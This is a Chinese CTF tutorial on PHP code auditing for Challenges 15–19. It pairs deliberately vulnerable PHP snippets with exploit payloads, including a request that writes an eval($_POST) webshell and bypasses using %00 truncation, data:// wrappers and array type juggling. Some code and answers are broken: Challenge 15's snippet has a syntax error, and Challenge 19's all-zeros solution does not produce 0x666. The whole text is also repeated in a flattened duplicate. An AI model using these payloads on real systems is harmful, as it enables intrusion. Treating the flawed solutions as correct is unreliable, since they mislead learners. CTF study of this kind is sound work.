PHP代码审计之CTF系列(3)
字数 1369 2025-08-15 21:30:31

PHP代码审计之CTF系列教学文档

Challenge 15: 文件写入漏洞

代码分析

if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = 'upload/'.$_GET['path'];
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($path,1){
    die('SYCwaf!');
}

if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed";
}else{
    echo "Hello.Geeker";
}

漏洞点

  1. 通过file_get_contents()file_put_contents()组合实现文件写入
  2. file参数必须以http://127.0.0.1/开头
  3. path参数不能包含回溯符(../)

利用方法

构造payload写入一句话木马:

http://127.0.0.1/ctf/1.php?file=http://127.0.0.1//ctf/1.php?file%3Dhttp%3A%2F%2F127.0.0.1%2F%26path%3D%253C%253Fphp%2520eval(%2524_POST%255B'x'%255D)%253B%253F%253E&path=a.php

关键函数

file_get_contents()参数:

  • path: 必需,要读取的文件
  • include_path: 可选,设为'1'可在include_path中搜索文件
  • context: 可选,文件句柄环境
  • start: 可选,开始读取位置(PHP 5.1+)
  • max_length: 可选,读取字节数(PHP 5.1+)

绕过技巧

  1. 使用URL编码处理特殊字符
  2. 利用echo语句写入恶意代码

Challenge 16: 类型转换与截断漏洞

代码分析

if (isset($_POST["submit"])){
    if (isset($_POST['hihi'])) {
        if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE) {
            exit('<script>alert("have fun:)")</script>');
        }
        elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999) {
            if (strpos($_POST['hihi'], '#HONG#') !== FALSE) {
                if (!is_array($_POST['hihi'])) {
                    include("flag.php");
                    echo "Congratulations! FLAG is : ".$flag;
                }
            }
        }
    }
}

漏洞点

  1. ereg()函数可用%00截断
  2. 需要同时满足:
    • 仅含字母数字
    • 长度<11
    • 数值>999999999
    • 包含#HONG#

利用方法

使用科学计数法绕过:

submit=任意字符&hihi=9e9%00#HONG#

绕过技巧

  1. ereg()%00截断
  2. PHP中e在数字比较中的特殊用法
  3. 科学计数法表示大数

Challenge 17: 协议与特殊字符绕过

代码分析

$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^'])) $smile = 0;
if (ereg ('https', $_GET['^_^'])) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;

if ($smile) {
    if (@file_exists ($_GET['^_^'])) $smile = 0;
}

if ($smile) {
    $smile = @file_get_contents ($_GET['^_^']);
    if ($smile === "('◡◡')") die($flag);
}

漏洞点

  1. 参数名包含^_^,但QUERY_STRING不能有_
  2. 内容限制:不能含%、数字、httphttpsftptelnet
  3. file_exists()需返回false,但file_get_contents()需返回('◡◡')

利用方法

使用data协议:

http://www.ctf.com/3.php?^.^=data://text/plain;charset=unicode,('◡◡')

绕过技巧

  1. PHP将参数名中的.[]等符号改写为_
  2. 使用RFC 2397的data协议绕过协议限制
  3. file_exists()对data协议返回false

Challenge 18: 类型混淆与弱比较

代码分析

if(isset($_POST['login'])) {
    if(isset($_POST['user'])) {
        if(@strcmp($_POST['user'],$USER)) {
            die('user错误!');
        }
    }
    if (isset($_POST['name']) && isset($_POST['password'])) {
        if ($_POST['name'] == $_POST['password']) {
            die('账号密码不能一致!');
        }
        if (md5($_POST['name']) === md5($_POST['password'])) {
            if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id'])) {
                if($_POST['id']==72) die("flag{xxxxxxxxxxxxx}");
            }
        }
    }
}

漏洞点

  1. strcmp()传入数组返回NULL
  2. md5()传入数组返回NULL
  3. 弱类型比较==与严格比较===的区别
  4. ID需为数字但不等于字符串'72',但弱比较等于72

利用方法

login=1&user[]=2&name[]=xiaohong&password[]=xiaoming&id=72.0

绕过技巧

  1. strcmp()md5()传递数组
  2. 使用小数绕过数字比较
  3. PHP弱类型比较特性

Challenge 19: 长度限制与进制转换

代码分析

$sss=$_GET['sss'];
if(strlen($sss)==666){
    if(!preg_match("/[^0-6]/",$sss)){
        eval('$sss='.$sss.';');
        if($sss!=='0x666'){
            if($sss=='0x666'){
                echo $flag;
            }
        }
    }
}

漏洞点

  1. 参数长度必须为666
  2. 只能包含0-6的数字
  3. 数值等于0x666(1638)但不等于字符串'0x666'

利用方法

使用八进制表示:

sss=000...000 (666个0)

绕过技巧

  1. PHP进制表示:
    • 十六进制: 0x开头
    • 八进制: 0开头
    • 二进制: 0b开头
  2. PHP5与PHP7在十六进制字符串比较上的差异

总结

  1. 文件操作漏洞:注意file_get_contents()file_put_contents()的组合使用
  2. 类型转换漏洞:利用数组、科学计数法等绕过限制
  3. 协议绕过:熟悉PHP支持的各种协议(data://等)
  4. 弱类型比较:掌握=====的区别及利用方法
  5. 长度与编码限制:使用八进制、URL编码等方式绕过

这些挑战展示了PHP代码审计中常见的漏洞类型和绕过技巧,对于CTF比赛和实际安全审计都有重要参考价值。

PHP代码审计之CTF系列教学文档 Challenge 15: 文件写入漏洞 代码分析 漏洞点 通过 file_get_contents() 和 file_put_contents() 组合实现文件写入 file 参数必须以 http://127.0.0.1/ 开头 path 参数不能包含回溯符( ../ ) 利用方法 构造payload写入一句话木马: 关键函数 file_get_contents() 参数: path: 必需,要读取的文件 include_ path: 可选,设为'1'可在include_ path中搜索文件 context: 可选,文件句柄环境 start: 可选,开始读取位置(PHP 5.1+) max_ length: 可选,读取字节数(PHP 5.1+) 绕过技巧 使用URL编码处理特殊字符 利用echo语句写入恶意代码 Challenge 16: 类型转换与截断漏洞 代码分析 漏洞点 ereg() 函数可用 %00 截断 需要同时满足: 仅含字母数字 长度 <11 数值>999999999 包含 #HONG# 利用方法 使用科学计数法绕过: 绕过技巧 ereg() 的 %00 截断 PHP中 e 在数字比较中的特殊用法 科学计数法表示大数 Challenge 17: 协议与特殊字符绕过 代码分析 漏洞点 参数名包含 ^_^ ,但QUERY_ STRING不能有 _ 内容限制:不能含 % 、数字、 http 、 https 、 ftp 、 telnet file_exists() 需返回false,但 file_get_contents() 需返回 ('◡◡') 利用方法 使用data协议: 绕过技巧 PHP将参数名中的 . 或 [] 等符号改写为 _ 使用RFC 2397的data协议绕过协议限制 file_exists() 对data协议返回false Challenge 18: 类型混淆与弱比较 代码分析 漏洞点 strcmp() 传入数组返回NULL md5() 传入数组返回NULL 弱类型比较 == 与严格比较 === 的区别 ID需为数字但不等于字符串'72',但弱比较等于72 利用方法 绕过技巧 向 strcmp() 和 md5() 传递数组 使用小数绕过数字比较 PHP弱类型比较特性 Challenge 19: 长度限制与进制转换 代码分析 漏洞点 参数长度必须为666 只能包含0-6的数字 数值等于0x666(1638)但不等于字符串'0x666' 利用方法 使用八进制表示: 绕过技巧 PHP进制表示: 十六进制: 0x开头 八进制: 0开头 二进制: 0b开头 PHP5与PHP7在十六进制字符串比较上的差异 总结 文件操作漏洞 :注意 file_get_contents() 和 file_put_contents() 的组合使用 类型转换漏洞 :利用数组、科学计数法等绕过限制 协议绕过 :熟悉PHP支持的各种协议(data://等) 弱类型比较 :掌握 == 与 === 的区别及利用方法 长度与编码限制 :使用八进制、URL编码等方式绕过 这些挑战展示了PHP代码审计中常见的漏洞类型和绕过技巧,对于CTF比赛和实际安全审计都有重要参考价值。